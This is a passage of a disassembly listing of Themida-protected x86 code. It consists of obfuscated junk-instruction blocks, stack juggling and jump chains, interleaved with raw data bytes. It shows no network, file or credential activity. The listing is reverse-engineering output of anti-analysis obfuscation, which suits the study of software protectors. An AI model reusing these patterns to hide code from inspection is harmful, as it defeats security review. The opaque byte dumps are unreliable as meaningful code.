; ---------------------------------------------------------------------------
		dw 5455h
		dd 0A40FE95Dh, 0E95A0000h, 2B68h, 0C3815B54h, 4, 7FCEE957h
		dd 2BB0000h, 1000000h, 82E95BD9h, 8100007Bh, 42404h, 0C8B0000h
		dd 4C48324h, 4C181h, 0C1830000h, 74FF5102h, 0E9590424h
		dd 75A4h
; ---------------------------------------------------------------------------

loc_54E084:				; CODE XREF: Themida_:005522A7j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		push	49EDh
		jmp	loc_555B9F
; ---------------------------------------------------------------------------
		dd 0E904C483h, 3451h, 4521EB81h, 0EB817531h, 12D05C98h
		dd 2205C381h, 8B6623F6h, 5682414h, 8900005Eh, 0E589242Ch
		dd 3E8AE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E0C6:				; CODE XREF: Themida_:0054E310j
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	ecx
		push	esi
		push	ecx
		push	eax
		mov	eax, 0ABE3E30h
		mov	ecx, 601C1540h
		xor	ecx, eax
		jmp	loc_55678F
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0DDh
		dd 83241C8Bh, 0C58304C4h, 242C8702h, 8268535Ch,	89000058h
		dd 0ABE2434h, 810A9207h, 4ECh, 24048900h, 0C27F56B8h, 8B62E976h
		dd 5EB70000h, 19D2E9h, 4C58100h, 33000000h, 5CE9242Ch
		dd 0F6000054h, 6CC80DCh, 80B7EC80h, 0E53087ECh,	59E83058h
		dd 0B7B75352h, 0C05BFA88h, 0B05002E2h, 3F044Eh,	50B0E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E152:				; CODE XREF: Themida_:0054DB3Fj
		not	eax
		xchg	eax, ebp
		xchg	ebp, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5571D7
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 0E853E957h, 0DA01FFFFh, 13F1EA81h, 555B1DB3h, 0FFF245E9h
		dd 241487FFh, 2434895Ch, 0B850E689h, 4,	2D1BF57h, 40E928A7h
		dd 87FFFFE6h, 805C243Ch, 72680BEBh, 89000032h, 65E92404h
		dd 0B9000016h, 4, 8759CD01h, 0E95C242Ch, 2ABCh
; ---------------------------------------------------------------------------

loc_54E1C8:				; CODE XREF: Themida_:00551506j
		mov	[esp], eax
		push	dword ptr [esp]
		jmp	loc_55814B
; ---------------------------------------------------------------------------
		db 81h
		dd 0CA2DC1F2h, 5AD62990h, 7E9E6853h, 315BCE58h,	241C8BDEh
		dd 4C481h, 53570000h, 0DF89F389h, 8BF9895Bh, 0C481243Ch
		dd 4, 0E333E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E206:				; CODE XREF: Themida_:0054EE43j
		pop	esi
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 70F6782Fh
		push	ebp
		mov	ebp, 5C3B7E46h
		add	ebp, 717D1C15h
		not	ebp
		jmp	loc_5560C9
; ---------------------------------------------------------------------------
		db 51h
		dd 42474FFh, 24048F59h,	0E924248Bh, 0FFFFF654h,	5D2434FFh
		dd 8B04C483h, 7AE9241Ch
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E247:				; CODE XREF: Themida_:00552C68j
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 18C22EA4h
		add	ebx, 0FEC2A9Dh
		push	ebx
		add	dword ptr [esp], 539C2DF8h
		pop	esi
		sub	esi, 539C2DF8h
		pop	ebx
		jmp	loc_550716
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 90h
		dd 1019105h, 90EF81EFh,	8B019105h, 0B3E9242Ch, 5200006Bh
		dd 4EC81h, 34890000h, 4EC8124h,	89000000h, 0CF89243Ch
		dd 9EE9FE89h, 87FFFFECh, 875C2404h, 87D3F7DEh, 64B850DEh
		dd 0D2DB54Ch, 576D7A0Dh, 33AC312Dh, 9D92E9A1h, 74FF0000h
		dd 9DE90424h, 3100003Ah, 0F28158C2h, 8674FC65h,	815AD631h
		dd 0C8FC4FEEh, 9A26E99Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E2EE:				; CODE XREF: Themida_:0054DC6Cj
		add	edi, ebx
		pop	ebx
		jmp	loc_556C26
; ---------------------------------------------------------------------------

loc_54E2F6:				; CODE XREF: Themida_:005578E1j
		xor	ecx, [esp]
		pop	esp
		movzx	ax, byte ptr [eax]
		sub	esp, 4
		mov	[esp], ecx
		push	6BFDh
		mov	[esp], esp
		push	ebx
		jmp	loc_54E0C6
; ---------------------------------------------------------------------------

loc_54E315:				; CODE XREF: Themida_:005533EDj
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55843E
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aSsv		db '$SéV',1Bh,0
		dw 8100h
		dd 4C4h, 0DAE95200h, 50000088h,	0F52AFFB8h, 71BB5376h
		dd 3176E05Fh, 8BFCE9D8h, 0C2810000h, 4,	4863E9h, 24248900h
		dd 1C6968h, 24148900h, 0FFDF78E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E36D:				; CODE XREF: Themida_:0054F1FCj
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------

loc_54E37F:				; CODE XREF: Themida_:005525CEj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 2E0E0195h
		shr	edi, 3
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55656C
; ---------------------------------------------------------------------------
		dd 0F24DB7BFh, 5FFD31A4h, 875DE901h, 248B240Ch,	0DE42E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E3B2:				; CODE XREF: Themida_:005506C4j
		not	bl
		inc	bl
		push	7F75h
		mov	[esp], ecx
		jmp	loc_5526F9
; ---------------------------------------------------------------------------

loc_54E3C3:				; CODE XREF: Themida_:00550FC3j
		or	eax, eax
		jnz	loc_553488
		push	esi
		mov	esi, 1
		mov	edx, esi
		jmp	loc_553A90
; ---------------------------------------------------------------------------

loc_54E3D8:				; CODE XREF: Themida_:005515D3j
		add	edi, eax
		jmp	loc_550E2A
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 57535F54h, 0FFE237E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E3ED:				; CODE XREF: Themida_:0054D3FEj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_550F3A
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0F1Dh, 505EF280h, 0C30024B0h, 0FFEBABE9h, 242C89FFh
		dd 0E30C01BDh, 0C03683Ch, 29593CE3h, 0CE015DE9h, 592434FFh
		dd 9CBDE9h, 4685700h, 5F000000h, 67C4C381h, 5CE95398h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E437:				; CODE XREF: Themida_:0054FF63j
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_55161B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 62F9E904h, 77FF0000h, 58669D1Ch, 24041166h, 0DD8EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E466:				; CODE XREF: Themida_:005555F4j
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	78EDh
		mov	[esp], edi
		jmp	loc_54F80F
; ---------------------------------------------------------------------------
		dw 45BDh
		dd 122571Dh, 48ABE9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E49A:				; CODE XREF: Themida_:0054DEA1j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54FA70
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 4BF57h, 0FA010000h, 9F7CE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E4BA:				; CODE XREF: Themida_:0054F23Dj
		mov	[esp], ebx
		mov	bh, 0A1h
		dec	bh
		sub	bh, 5Eh
		mov	ch, bh
		pop	ebx
		jmp	loc_555481
; ---------------------------------------------------------------------------
aNbG_aButUksE	db '­Æƒ_A(ît%ãkéËE',0
		align 2
		dw 11E9h
		dd 5EFFFFDDh, 815DEF09h, 6D2B38F7h, 73F78118h, 2967125Dh
		dd 2C875FFDh, 14895C24h, 0E99C5024h, 7629h, 0E956D3F7h
		dd 6BEEh, 0E924048Fh, 5901h
; ---------------------------------------------------------------------------

loc_54E514:				; CODE XREF: Themida_:00550E2Bj
		sub	edi, 4
		jmp	loc_556B6B
; ---------------------------------------------------------------------------
		dd 24048B66h, 0E904EC83h, 4F50h, 5C243487h, 8037BF57h
		dd 0DBE96EB8h, 5000009Ch, 0A941BCB8h, 585E5017h, 2468D405h
		dd 63DAE93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E54A:				; CODE XREF: Themida_:0054DBE7j
		pop	ax
		jmp	loc_550597
; ---------------------------------------------------------------------------
aS_6		db '[é',9,'>',0
		dw 5E00h
		dd 6F6CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54E55D:				; CODE XREF: Themida_:0054F11Cj
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_557E35
; ---------------------------------------------------------------------------
		db 29h,	0EAh, 8Bh
		dd 0C483242Ch, 6A685804h, 8900003Ch, 74FF2414h,	0E95A0424h
		dd 439Bh, 6F2F6857h, 0E95F5336h, 845Fh
; ---------------------------------------------------------------------------

loc_54E5A0:				; CODE XREF: Themida_:00551880j
		push	esi
		push	430F323Fh
		pop	esi
		jmp	loc_558201
; ---------------------------------------------------------------------------

loc_54E5AC:				; CODE XREF: Themida_:00557995j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_552300
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 477F27E3h, 2DB0E9h, 24048900h, 5365E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E5CE:				; CODE XREF: Themida_:00551945j
		add	esp, 4
		push	edi
		push	edx
		mov	edx, 3ECC721Bh
		mov	edi, 54440499h
		jmp	loc_552850
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aSg		db '\ég]',0
		align 2
		dw 1C8Bh
		dd 4C48324h, 8B24048Fh,	24D32424h, 0DBF2E924h, 0E955FFFFh
		dd 6E2Dh, 4421E95Ah, 0E1E90000h, 5CFFFFDBh, 68240C8Bh
		dd 7CB7h, 50241C89h, 4055854h, 83000000h, 48704E8h, 24895C24h
		dd 24048124h, 4, 8B2434FFh, 0C483241Ch
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 4
		push	esi
		mov	esi, 5EAE5B24h
		shl	esi, 7
		sub	esi, 7A31123Ah
		neg	esi
		jmp	loc_555802
; ---------------------------------------------------------------------------

loc_54E66D:				; CODE XREF: Themida_:0055014Aj
		push	edi
		mov	di, 387Fh
		not	di
		shr	di, 3
		xor	di, 4C39h
		add	dx, di
		pop	edi
		dec	dx
		push	ebp
		jmp	loc_550D88
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 5E542434h, 4C681h, 0C6830000h, 74FF5602h, 8F5E0424h
		dd 248B2404h, 2404D224h, 0EB9EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E6AE:				; CODE XREF: Themida_:0054C3E7j
		add	ebp, 4
		jmp	loc_550214
; ---------------------------------------------------------------------------
		db 1, 0F3h, 0FFh
		dd 815E2434h, 4C4h, 241C3300h, 0E9241C31h, 2E4Dh, 89243489h
		dd 59FE9E6h, 0C4810000h, 4, 7112E953h, 0B2BB0000h, 0C15E4964h
		dd 0BA5204E3h, 0E4964B1Eh, 815AD329h, 301D3FE9h, 0A6E98114h
		dd 11D5E2Ah, 0A6BB53D9h, 11D5E2Ah, 0E9535BD9h, 4D27h
; ---------------------------------------------------------------------------

loc_54E714:				; CODE XREF: Themida_:0054EB42j
		sub	ecx, 3D3F58F0h
		dec	ecx
		xor	ecx, 494353E5h
		mov	edx, ecx
		pop	ecx
		sub	dword ptr [esp+4], 51414FABh
		add	[esp+4], edx
		add	dword ptr [esp+4], 51414FABh
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_54D3B0
; ---------------------------------------------------------------------------

loc_54E74D:				; CODE XREF: Themida_:0054C2E0j
		add	esp, 4
		jmp	loc_54D023
; ---------------------------------------------------------------------------
aSsq		db 'SéŸ|',0
		align 2
		dw 5D68h
		dd 89000015h, 61E92404h, 0E9000040h, 0FFFFDA84h, 24048B66h
		dd 8CB4E956h, 0BF570000h, 563B0F04h, 4F05E7C1h,	5ED9F781h
		dd 0F781187Ch, 903B964Fh, 92E9F829h, 8100001Fh,	4ECh, 24048900h
		dd 12E95854h, 5C000096h, 4DA668h, 241C8900h, 5650E389h
		dd 0BA3EC3BEh, 47D4E91Fh, 0E8300000h, 8B2434FFh, 8950240Ch
		dd 405E0h, 0C0830000h, 24048704h, 50CCE9h, 0D0ECD000h
		dd 0CFEC80ECh, 8DDE9h, 5E2C100h, 0C8BCEA81h, 0D0016A6Bh
		dd 0E189515Ah, 4C181h, 0E9810000h, 4, 31240C33h, 0C33240Ch
		dd 69E95C24h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E80F:				; CODE XREF: Themida_:0054ECEBj
		sub	ebp, 3AF4752Ch
		add	ebp, edi
		add	ebp, 3AF4752Ch
		jmp	loc_551F13
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4EC8300h, 0FFDBF1E9h, 24148BFFh, 8762E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E839:				; CODE XREF: Themida_:0054F03Aj
		add	edx, 3A26253Bh
		jmp	loc_5549E9
; ---------------------------------------------------------------------------
		dd 3E026168h, 0E9435B09h, 2B72h, 815FF901h, 2C1h, 240C8700h
		dd 0E924248Bh, 0FFFFFB7Bh, 4C6815Eh, 0E9000000h, 0FFFFE0C7h
		dd 1041C2BFh, 35BE5638h, 0E938E118h, 0FFFFF72Bh
; ---------------------------------------------------------------------------

loc_54E880:				; CODE XREF: Themida_:00557E6Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 78177D45h
		mov	ecx, 78177D46h
		jmp	loc_54D86F
; ---------------------------------------------------------------------------
		db 4, 3Ch, 28h
aSY		db 'è,<Y',0
		db 0C5h, 0E9h, 0F3h
		dd 66FFFFECh, 68240C8Bh, 5789h,	54D6E9h, 3CA8100h, 516F785Eh
		dd 851AE9h, 57485800h, 6D220FBFh, 0F7814F02h, 958A7E09h
		dd 0E95FF831h, 4B92h, 89241489h, 4C281E2h, 81000000h, 4EAh
		dd 24148700h, 2434895Ch, 2BEh, 1682E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E8FA:				; CODE XREF: Themida_:005556C1j
		shl	esi, 1
		add	esi, 60A3D209h
		sub	ebx, esi
		pop	esi
		push	ebp
		mov	ebp, 6CE10A44h
		jmp	loc_54E943
; ---------------------------------------------------------------------------
		dd 8FBD555Bh, 817CDF39h, 0B27619CDh, 0FCE58130h, 8173B00Eh
		dd 337FD5F5h, 5DEE29D8h, 577EF81h, 0C2E91CACh
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E937:				; CODE XREF: Themida_:00558172j
		sub	eax, 4F171C3Bh
		add	esi, eax
		jmp	loc_554381
; ---------------------------------------------------------------------------

loc_54E943:				; CODE XREF: Themida_:0054E90Bj
		xor	ebp, 44E76BFAh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_55193A
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 206Ah, 0E95BDF89h, 2E55h, 0AB634BBEh, 2444815Bh
		dd 605B5204h, 2474297Dh, 9AFBE904h, 0BD550000h,	2A6972BFh
		dd 815DEB01h, 830245C3h, 9275E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E98E:				; CODE XREF: Themida_:00553AAAj
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_550856
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 9959E9h, 48B6600h, 8B545624h, 7DE92434h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	al, bl
		add	al, 1Ah
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54F54D
; ---------------------------------------------------------------------------

loc_54E9D4:				; CODE XREF: Themida_:00557575j
		pop	ecx
		jmp	loc_5525C5
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 23572E45h, 0E3E9CE01h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E9E7:				; CODE XREF: Themida_:0054C877j
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	6ED8h
		mov	[esp], edx
		push	514E4D87h
		jmp	loc_5524CC
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 16DEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EA1A:				; CODE XREF: Themida_:00554FC8j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4EFB778Fh
		xor	[esp+4], ebp
		mov	ebp, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_555E8A
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 2434FF54h, 45F4E958h, 0DFF60000h,	0C05ACF80h
		dd 44E906E7h, 5200006Fh, 6898B050h, 1F21h, 469EE9h
		db 0
; ---------------------------------------------------------------------------

loc_54EA6D:				; CODE XREF: Themida_:0055613Fj
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 45571CC3h
		shr	esi, 6
		jmp	loc_550812
; ---------------------------------------------------------------------------
		db 80h
		dd 0F800CFEFh, 5BA7E9h
		db 0
; ---------------------------------------------------------------------------

loc_54EA99:				; CODE XREF: Themida_:0054EC8Ej
		add	eax, edx
		pop	edx
		push	esi
		jmp	loc_55443A
; ---------------------------------------------------------------------------

loc_54EAA2:				; CODE XREF: Themida_:005556FCj
		mov	ecx, edi
		jmp	loc_556ACA
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 81h
		dd 4C3h, 0B8505100h, 58E11E70h,	0E11E74B9h, 58C12958h
		dd 8759CB01h, 0E95C241Ch, 49Bh,	31243C33h, 3C33243Ch, 4A42E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EADA:				; CODE XREF: Themida_:0054C261j
		pop	esp
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5514F9
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C2010000h, 24143358h, 33241431h, 3FE92414h,	6600007Fh
		dd 5024048Bh, 3E68h, 0D9CAE900h, 0C159FFFFh, 0EB8104E3h
		dd 11C800CBh, 1C8BD801h, 4C48124h, 56000000h, 62D1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54EB29:				; CODE XREF: Themida_:00552147j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6BBF5E29h
		or	ecx, 524379E0h
		neg	ecx
		jmp	loc_54E714
; ---------------------------------------------------------------------------
		db 28h
		dd 0EAEE9FDh, 0F7810000h, 3C7039A2h, 4114E9h, 241CF600h
		dd 0D692E99Ch, 0B951FFFFh, 6ED81827h, 0C8BCD29h, 4C48324h
		dd 0E92434FFh, 96EAh, 240C8B66h, 693568h, 243C8900h, 0C781E789h
		dd 4, 6042E9h, 0E9B72C00h, 6551h
; ---------------------------------------------------------------------------

loc_54EB98:				; CODE XREF: Themida_:0055341Bj
		mov	[esp], ax
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		db 59h,	83h, 0C4h
		dd 0E9DAF704h, 7826h, 3C8BFB01h, 4C48324h, 835BDF01h, 7E902C7h
		dd 0E900002Dh, 0FFFFD630h, 0E904EC83h, 4AAFh
; ---------------------------------------------------------------------------

loc_54EBCC:				; CODE XREF: Themida_:00551494j
		sub	ebx, 286A73F4h
		jmp	loc_5512D7
; ---------------------------------------------------------------------------
aSiusm		db 'S‰ãéŒ*',0
		dw 8900h
		dd 0F76CE9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EBE6:				; CODE XREF: Themida_:00555507j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_550FED
; ---------------------------------------------------------------------------
		db 81h
		dd 2D6A13E9h, 4FE94906h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54EBFB:				; CODE XREF: Themida_:0054D0F3j
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_5547E9
; ---------------------------------------------------------------------------
		dw 555Bh
		dd 2434FF54h, 589CE95Dh, 68530000h, 28CDh, 0FFED4BE9h
		dd 5EF001FFh, 0EBB9E953h, 0F281FFFFh, 9F47A958h, 815AD329h
		dd 635645F3h, 8BD8016Ah, 0C483241Ch, 55D82904h,	314268h
		dd 241C8900h, 0E22E0E68h, 3203E96Eh, 81580000h,	362C70C2h
		dd 0D6F28159h, 0E9B1616Fh, 523Dh, 4BEh,	6CC0E900h, 0D0310000h
		dd 3505E9h, 4EC8300h, 68240489h, 7B1Ch,	7082E9h
		db 0
; ---------------------------------------------------------------------------

loc_54EC89:				; CODE XREF: Themida_:00553E5Ej
		mov	edx, 4
		jmp	loc_54EA99
; ---------------------------------------------------------------------------
		db 0B8h
		dd 370F710Ch, 158C601h,	74EFE9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54ECA2:				; CODE XREF: Themida_:0054FCE3j
		not	esi
		and	esi, 277C2747h
		dec	esi
		sub	esi, 7788396Ch
		add	eax, esi
		jmp	loc_555895
; ---------------------------------------------------------------------------
		dd 66CDFE5Ch, 0F6EC8850h, 66E588DCh, 8752E958h,	0E94E0000h
		dd 984Fh, 0E528DEB4h, 0DD25E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ECDA:				; CODE XREF: Themida_:005578AAj
		mov	edi, 4E466ECDh
		xor	edi, 4E466EC9h
		add	ebp, 17FA5ECBh
		jmp	loc_54E80F
; ---------------------------------------------------------------------------

loc_54ECF0:				; CODE XREF: Themida_:0054D924j
		mov	al, 3Fh
		sub	bl, al
		pop	ax
		jmp	loc_557018
; ---------------------------------------------------------------------------

loc_54ECFB:				; CODE XREF: Themida_:0055701Cj
		movzx	eax, al
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	247Ch
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		push	edx
		push	4
		pop	edx
		add	ebx, edx
		jmp	loc_555780
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFE524E9h, 5EF201FFh, 16E9D329h, 66FFFFE8h,	83240C8Bh
		dd 3C8904ECh, 70956824h, 24890000h, 24048124h, 4, 5F2434FFh
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 535C241Ch, 22F6E9h
		dd 44E95300h, 5D00002Eh, 5692685Eh, 14890000h, 1B8EBA24h
		dd 0D0016F99h, 5A2434FFh, 0E100E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ED8E:				; CODE XREF: Themida_:00554350j
		add	dword ptr [esp], 2B49651Ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_550332
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0F7C58107h, 4D575446h, 0FFFFED81h, 0F581FFFFh, 5923CC0Eh
		dd 875DEA01h, 0E95C2414h, 0FFFFED92h, 7F0A68h, 24348900h
		dd 1B66E9h
		db 0
; ---------------------------------------------------------------------------

loc_54EDD5:				; CODE XREF: Themida_:0055203Bj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, 7E471BB6h
		xor	edi, 7E471BB2h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_54FA05
; ---------------------------------------------------------------------------

loc_54EE1D:				; CODE XREF: Themida_:00557568j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		jmp	loc_554A7C
; ---------------------------------------------------------------------------

loc_54EE2A:				; CODE XREF: Themida_:005520DBj
		mov	esi, 59367617h
		add	dword ptr [esp+8], 173B4EB4h
		add	[esp+8], esi
		sub	dword ptr [esp+8], 173B4EB4h
		jmp	loc_54E206
; ---------------------------------------------------------------------------

loc_54EE48:				; CODE XREF: Themida_:0054DBF6j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_54CDAE
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFF35Fh, 4BDh, 0E9EF0100h, 0D07h,	9D1C77FFh, 24041158h
		dd 0D382E99Ch, 0E95DFFFFh, 0FFFFFB97h, 1160BD55h, 0CD817B68h
		dd 67F839D4h, 778A68h, 240C8900h, 1C1068h, 243C8900h, 65108468h
		dd 0C7815F19h, 0C97172Eh, 315FF989h, 0C58159CDh, 4723D09h
		dd 90FEE9h, 5BDD2900h, 0FFE228E9h, 4EC83FFh, 0FFF704E9h
		dd 20A268FFh, 0C890000h, 81595424h, 4C1h, 484BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EED6:				; CODE XREF: Themida_:0054F7FAj
		push	1B74h
		mov	[esp], ebx
		push	esp
		jmp	loc_5571B5
; ---------------------------------------------------------------------------
		dd 6624248Bh, 0E9240489h, 0FFFFD304h, 24043166h, 0D2FAE99Ch
		dd 0E568FFFFh, 8900004Dh, 5E92434h, 5500005Ah, 85C6857h
		dd 3C8B233Ah, 4C48324h,	7785F781h, 0FD893522h, 4CCAE9h
		dd 28D5B600h, 0D8285AF0h, 0F65DB753h, 0E9C7FED7h, 7A9Ah
		dd 182C68h, 24148900h, 2BAh, 5AD10100h,	31240C33h, 0C33240Ch
		dd 24248B24h, 4B30F66h,	99E99C24h, 8FFFFFD2h, 0D292E902h
		dd 8DE9FFFFh, 0D0FFFFD2h, 7E5C0EDh, 0E9FAF580h,	0FFFFF84Ah
		dd 33241431h, 14312414h, 0E9545224h, 79E1h
; ---------------------------------------------------------------------------

loc_54EF84:				; CODE XREF: Themida_:00557ECCj
		add	esp, 4
		add	esp, 4
		jmp	loc_5553B8
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 3FFC0F2Eh, 7AACF781h, 0FB010683h, 83243C8Bh,	1C3304C4h
		dd 241C3124h, 8B241C33h, 0F662424h, 9C2404BBh, 0FFD237E9h
		dd 4C781FFh, 52000000h,	0EF1BE957h, 0F001FFFFh,	5E2434FFh
		dd 4C481h, 4330000h, 24043124h,	8B240433h, 71E92424h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EFE7:				; CODE XREF: Themida_:loc_55808Ej
		push	ecx
		push	eax
		mov	eax, 26AB2C9Ch
		push	ebx
		mov	ebx, 264F6ECEh
		jmp	loc_54F15A
; ---------------------------------------------------------------------------
		db 0BBh, 0D5h, 8Dh
		dd 0AEE9B77Ch, 66FFFFFEh, 66C8B60Fh, 0E5E99C51h, 89FFFFD1h
		dd 0E8BA52E1h, 0E92FBC4Bh, 676Fh, 2FF36859h, 3C890000h
		dd 2BF24h, 0FB010000h, 83243C8Bh, 0BE904C4h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F037:				; CODE XREF: Themida_:0055191Fj
		shr	edx, 6
		jmp	loc_54E839
; ---------------------------------------------------------------------------
		db 8Bh
		dd 6B682404h, 89000024h, 0DE92434h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F04F:				; CODE XREF: Themida_:00557D74j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	5533h
		jmp	loc_554F85
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 4105866h,	0BEE99C24h, 100007Eh, 24048BC6h
		dd 1258E9h, 81E5D100h, 34790FC5h, 72ED814Eh, 89E41333h
		dd 242C8BEBh, 866E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F0AD:				; CODE XREF: Themida_:0054FF40j
		sub	edx, 540D5FF1h
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_555115
